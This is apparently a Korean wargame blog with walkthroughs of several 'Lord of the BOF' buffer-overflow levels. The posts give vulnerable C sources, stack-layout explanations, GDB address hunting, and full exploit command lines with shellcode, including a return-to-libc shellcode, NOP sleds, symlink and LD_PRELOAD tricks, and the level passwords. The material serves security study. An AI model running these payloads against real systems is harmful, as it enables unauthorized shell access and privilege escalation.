2011. 6. 8. 20:47

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}

   

main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}

   

problem_child(argv[1]);

}


   

♧ 이번 문제는 RET이 아닌 SFP의 1Byte를 변조하여 프로그램의 실행 흐름을 바꾸는 문제이다.

(자세한 내용은 [ 참조 1 ] [ 참조 2 ] 에서 보도록 하자)

① main에서 problem_child() 호출
② probelm_child에서 strncpy(buffer, src, 41)를 통해 SFP를 1Byte만 변조 한다.

(*strncpy 호출 후 스택 내용)

③ problem_child의 프레임에 leave 명령을 통해

mov ebp, esp

pop ebp

SFP가 있는 곳으로 이동 후 변조된 ebp값을 pop 함으로써 main()의 ebp값은 변조된 ebp값으로 저장.

④ child 프레임의 RET을 통해 다시 main 프레임으로 복귀.

⑤ main 프레임의 leave가 수행된다.

5-1) mov ebp, esp에 의해 변경 되어 버린 ebp로 esp가 이동.

5-2) pop ebp에 의해 esp는 4Byte가 증가하게 된다.

(esp+4의 위치는 RET의 위치이다.)

마지막으로 ret 명령으로, eip 는 esp를 참조해서 다음 실행할 주소로 점프 한다.

   

♧이렇듯 1Byte의 변조만으로 실행흐름이 바뀔 수 있다.


   

∑ 익스 플로잇 작성!

① 대략적인 구성. ( buffer 주소 :: [ 0xffffac4 ] 위 그림 참조.)

   

② 공격 스크립트 작성

$(python -c 'print "\xcc\xfa\xff\xbf"*2 + "\x90"*15 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\xc4"')

   

③ ∑xploit

성공!!!


  

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함.

golem : "cup of coffee"

Posted by devanix
2011. 6. 8. 03:14

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer!

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

}


1) if문으로 argv[1][47] != '\xbf' 체크.
2) [ RET ]을 제외한 buffer의 시작주소부터 0xbfffffff 까지 모두 초기화.

   

♧ buffer의 주소 밑. 즉, 스택의 아래 쪽에 쉘코드를 삽입해야 하는데

공유 라이브러리를 생성 후 LD_PRELOAD 환경 변수를 이용 한다.
(아래 내용을 참조 하자.) [ 참조1 ] [ 참조2 ]

   


   

♧ 공유 라이브러리 이름을 쉘코드로 하여 LD_PRELOAD 등록 후 스택 찌꺼기?에 남아있는 곳을 찾아 RET으로 설정한다.

∑ 익스 플로잇 작성!

① 공유 라이브러리 생성

# echo "void attack(){}" | cat > attack.c

# gcc attack.c -fPIC -shared -o $(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')

② LD_PRELOAD 환경변수 등록

export LD_PRELOAD="$(pwd)/$(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')"

③ GDB로 RET 주소 찾기. (사본::cp golem melog)

# gdb -q melog

# b *main+166

# r $(python -c 'print "\xbf"*48')

# x/50xw $ebp - 3000

대략 $ebp - 3000 지점 부터 내려오다 보면 "\x90" 보인다 중간 지점으로 RET 설정하자.

:: $(python -c 'print "\x10\xf6\xff\xbf"*12')

④ ∑xploit

성공 !!!

  


   

   

♣ 기타 사항

ⓐ LD_PRELOAD로 등록 후 원본(golem)과 사본(melog)의 libc주소가 서로 틀려 졌다.

ⓑ 그리하여 RTL을 이용 하여 만든 쉘코드는 원본(golem)에 적용되었다.

(이유는 잘 모르겠다 좀더 시간 내서 공부를 해야 될듯...-_)


 

   

golem : "cup of coffee"

Posted by devanix
2011. 6. 7. 03:09

⊙ 문제의 소스를 보자)

[vampire@localhost vampire]$ cat skeleton.c

/*

The Lord of the BOF : The Fellowship of the BOF

- skeleton

- argv hunter

*/

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i, saved_argc;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

// argc saver

saved_argc = argc;

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

   

// ultra argv hunter!

for(i=0; i<saved_argc; i++)

memset(argv[i], 0, strlen(argv[i]));

}


1) 환경변수(Environment) 초기화.
2) if문을 통해 argv[1][47] != "\xbf" 체크.
3) argv[1] 길이가 48이하
4) buffer 초기화.
5) Argument 배열 전부 초기화.


 

   

※ Argument 배열이 전부 초기화 되었지만 스택 끝에 프로그램 이름 주소가 남아있다.

   

♧ 이유는 모르겠지만 LEVEL8에 "\x2f"이 없는 쉘코드가 제대로 동작하지 않아

[Return-to-lib 기법을 이용한 쉘코드 생성]을 참조하여 쉘코드를 다시 만들었다.
(이 시스템에서만 사용가능:: 총 17Byte :: exit()를 빼면 12Byte 가능)

.global main

main: 
       push $0x400fbff9          ;# "bin/sh"

       push $0x400391e0        ;# exit

       movl $0x40058ae0, %eax ;# system

       push %eax

       ret


"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"


 

   

∑ 익스플로잇 작성!

① 사본 생성

# cp skeleton $(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3")

② GDB로 RET 주소 찾기.

찾은 RET 주소 :: [ 0xbfffffea ]

③ 사본 삭제후 원본 심볼릭 링크

④ 최종 익스플로잇 작성

./$(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3") $(python -c 'print "\xea\xff\xff\xbf"*12')

⑤ ∑xploit

성공!!!


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

vampire : "music world"

Posted by devanix
2011. 6. 5. 03:22

⊙ 문제의 소스를 보자)

[troll@localhost troll]$ cat vampire.c

/*

The Lord of the BOF : The Fellowship of the BOF

- vampire

- check 0xbfff

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// here is changed!

if(argv[1][46] == '\xff')

{

printf("but it's not forever\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


1) if문을 통해 argv[1][47] != "\xbf" 체크.
2) if문을 통해 argv[1][46] == "\xff" 체크.

   

♧ 스택 주소공간은 "0xbfff~"로 하향 성장 한다. [ 참조 ]

♧ argv[1][46]에 "\xff"가 되지 않도록 하기 위해서 실행 인자를 통해 길이를 늘려 조작한다.

※ 단, 길이를 조작 할 때 너무 큰 값을 주면 "Argument list too long" 에러 메시지가 출력된다.


   

∑ 익스 플로잇 작성!

※ 여기선 NOP썰매를 사용 할 필요는 없지만 GDB로 RET주소를 확인 할 경우 오차를 줄이기 위해 사용.

argv[1]

argv[2]

argv[3]

[RET] * 12

[NOP*50]+[쉘코드]

[주소 길이 조정]


① 사본을 만들어 마지막 행에 argv[2]의 주소값 출력문을 삽입.

[troll@localhost troll]$ sed '/buffer);/a\
printf("_____ argv[2] :: [ %#x ] _____\\n", argv[2]);' vampire.c > eripmav.c

② 컴파일후 임의의 값으로 실행.

[troll@localhost troll]$ gcc eripmav.c -o eripmav
[troll@localhost troll]$ ./eripmav $(python -c 'print "\xbf"*48') $(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "AAAA"*20000')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

_____ argv[2] :: [ 0xbffec3b2 ] _____

Segmentation fault (core dumped)

③ RET주소 변경.

./vampire $(python -c 'print "\xb2\xc3\xfe\xbf"*12') $(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "AAAA"*20000')

④ ∑xploit

완료!!!


   

   

♣ 기타 사항

ⓐ GDB로 RET 주소 확인 & ∑xploit

ⓑ GDB로 확인한 argv[2] 주소값 :: [ 0xbfffec3b4 ]

ⓒ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 2 ] = [ 0xbfffec3b4 ] - [ 0xbfffec3b2 ]


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

troll : "aspirin"

Posted by devanix
2011. 6. 4. 15:13

⊙ 문제의 소스를 보자)

[orge@localhost orge]$ cat troll.c

/*

The Lord of the BOF : The Fellowship of the BOF

- troll

- check argc + argv hunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

   

// one more!

memset(argv[1], 0, strlen(argv[1]));

}


1) 인자의 개수는 2여야 함.

2) 환경변수(Environment) 초기화.

3) argv[1][47] == "\xbf"

4) argv[1]의 길이는 48보다 크면 안됨.

5) 버퍼초기화.

6) argv[1] 초기화.


   

♧ 인자의 개수가 2개를 만족해야 함으로 argv[0]과 argv[1]만이 사용가능.

♧ argv[1] 마저도 초기화 됨으로 결국

심볼릭링크(Symbolic link)를 이용하여 파일이름을 쉘코드로 변조하여 문제를 풀어야 한다.

※ 단, 쉘코드에 "\x2f"(/) 들어가면 "cannot create symbolic link" 라는 문구가 보일 것 이다.


   

(그래서 이전에 사용하던 쉘코드는 던져 버리고 "\x2f"가 없는 쉘코드로 대체해야 한다.)

▦ "\x2f"가 없는 쉘코드 ▦

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


 

   

∑ 익스 플로잇 작성!

① 사본을 만들어 마지막 행에 argv[0]의 주소값 출력문을 삽입.

[orge@localhost orge]$ sed '/argv\[1\]));/a\
printf("_____ [ %#x ] _____\\n", argv[0]);' troll.c > llort.c

② 컴파일후 임의의 값으로 실행.

[orge@localhost orge]$ gcc llort.c -o $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

[orge@localhost orge]$ ./$(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81") $(python -c 'print "\xbf"*48')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

_____ [ 0xbffffbcf ] _____

Segmentation fault (core dumped)

③ 사본 삭제후 원본에 심볼릭 링크.

[orge@localhost orge]$ rm $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

[orge@localhost orge]$ ln -s troll $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

④ 확인한 argv[0]값으로 RET 변경 후 익스플로잇 작성

./$(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81") $(python -c 'print "\xcf\xfb\xff\xbf"*12')

⑤ 익스플로잇!


   

   

♣ 기타 사항

ⓐ GDB로 확인한 argv[0] 주소값 :: [ 0xbffffbee ]
ⓑ GDB로 확인한 argv[0] 주소값에 이름길이("/home/orge/./")를 더한값 :: [ 0xbffffbfb ]
ⓑ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 44 ] = [ 0xbffffbfb ] -
[ 0xbffffbcf ]

※ 왜 44Byte의 차이가 나는지는 정확히 모름.

("이름길이나 buffer ~ RET 주소 전까지의 오프셋 길이의 차이가 아닐까?" 라고 혼자만의 추정중..-_;)


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

orge : "timewalker"

Posted by devanix
2011. 6. 2. 16:27

⊙ 문제의 소스를 보자)

[darkelf@localhost darkelf]$ cat orge.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orge

- check argv[0]

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// here is changed!

if(strlen(argv[0]) != 77){

printf("argv[0] error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ argv[0]의 길이를 77자로 맞추는 if문이 추가 되었습니다.

   

* 이름 길이를 77자로 맞추는 것을 외에는 틀려진 점이 없습니다.

1) 이름길이를 77자로 맞추는법.

① "./" 은 현재디렉토리를 의미하며 ".////" 이처럼 추가로 많이 와도 상관없습니다.

   

② 심볼릭 링크를 이용 (하드링크도 상관 없음) ("./"를 제외한 75자.)

# ln orge -s $(python -c 'print "a"*75"')


   

※ 그럼 이전과 같이 바로 확인 들어가 보도록 하죠.

$(python -c 'print "."+"/"*72 + "orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xb7\xfb\xff\xbf"')

성공!!!


 

   

darkelf : "kernel crashed"

   

Posted by devanix
2011. 6. 2. 15:35

⊙ 문제의 소스를 보자)

[wolfman@localhost wolfman]$ cat darkelf.c

/*

The Lord of the BOF : The Fellowship of the BOF

- darkelf

- egghunter + buffer hunter + check length of argv[1]

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ [ LEVEL5 ] 에서 틀려진 점은 argv[1]의 길이를 체크 하네요.
그런데 어차피 LEVEL5에서 공격문의 길이가 48([셸코드(24)]+[NOP(20)]+[RET(4)])임으로 틀려 질건 전혀 없네요.
그럼으로 strlen(argv[1]) 구문은 전혀 신경 쓸 필요가 없습니다.


 

   

※ [ LEVEL5 ] 와 똑같음으로 바로 확인해 보도록 하죠

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x3f\xfc\xff\xbf"')

성공!!


   

wolfman : "love eyuna"

Posted by devanix
2011. 6. 2. 15:01

⊙ 문제의 소스를 보자)

[orc@localhost orc]$ cat wolfman.c

/*

The Lord of the BOF : The Fellowship of the BOF

- wolfman

- egghunter + buffer hunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ [LEVEL4]와 틀려진 곳은 맨 마지막 줄에 memset(buffer, 0, 40)으로 buffer를 40Byte 초기화
하고 있습니다.
즉, 리턴 주소를 버퍼가 아닌 Argument 인자(argv[1])로만 바꿔주면 됩니다.
그래서 공격문엔 변화가 없으며 다만 LEVEL4에선 buffer를 리턴값으로 주었다면 이번 문제 에선
argv[1]이 가리키는 문자열 주소로 리턴값만 바꾸면 됩니다.


   

1) 셸코드는 어디에?

* 우리가 흔히 공격문으로 인자값을 넘겨 줄때 인자 배열 안에 들어가게 됩니다. [ 참조 ]

Environment

  

Arguments

argv (프로그램 실행 인자)

argc (인자의 개수)

RET

우리가 실행 인자로 셸코드를 올린 해당 argv[1] 가리키는 주소

SFP

쓰레기값

buffer[40]

memset(buffer, 0, 40)으로 초기화

...[중략]...

  

*그러므로 memset()으로 buffer가 초기화 되더라도 실행 인자로 넘겨준 공격문은 스택안에 남아 있게 됩니다.


  

   

* 그럼 argv[1]에 들어있는 문자열의 주소(공격문)을 찾아야 겠네요.

2) 리턴 주소 값을 찾아 보자!

※ [ LEVEL 4 ]에서 공격문을 그대로 가져다가 테스트 하였습니다.

① wolfman.c 사본을 만들어 주소값을 확인해 봅시다.

# cp wolfman.c wolfgil.c

# vi wolfgil.c

...[중략]...

// buffer hunter

memset(buffer, 0, 40);

printf(" [ %#x ]\n", argv[1]); // <-- 삽입

:wq

# gcc wolfgil.c -o wolfgil

[orc@localhost orc]$ ./wolfgil $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')
1픐h//shh/bin됥PS됣솻

?릱릱릱릱릱릱릱릱릱릱?

[ 0xbffffc46 ]

Segmentation faultz

* argv[1]에 들어있는 공격문 주소가 보이네요. [ 0xbffffc46 ]

   

② 리턴 주소를 찾았으니 변경 후 다시 확인.

셸코드가 잘 실행 되었네요.


   

   

3) 원본 공격 확인.

*바뀐 공격문

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x46\xfc\xff\xbf"')

완료!!!


   

orc : "cantata"

Posted by devanix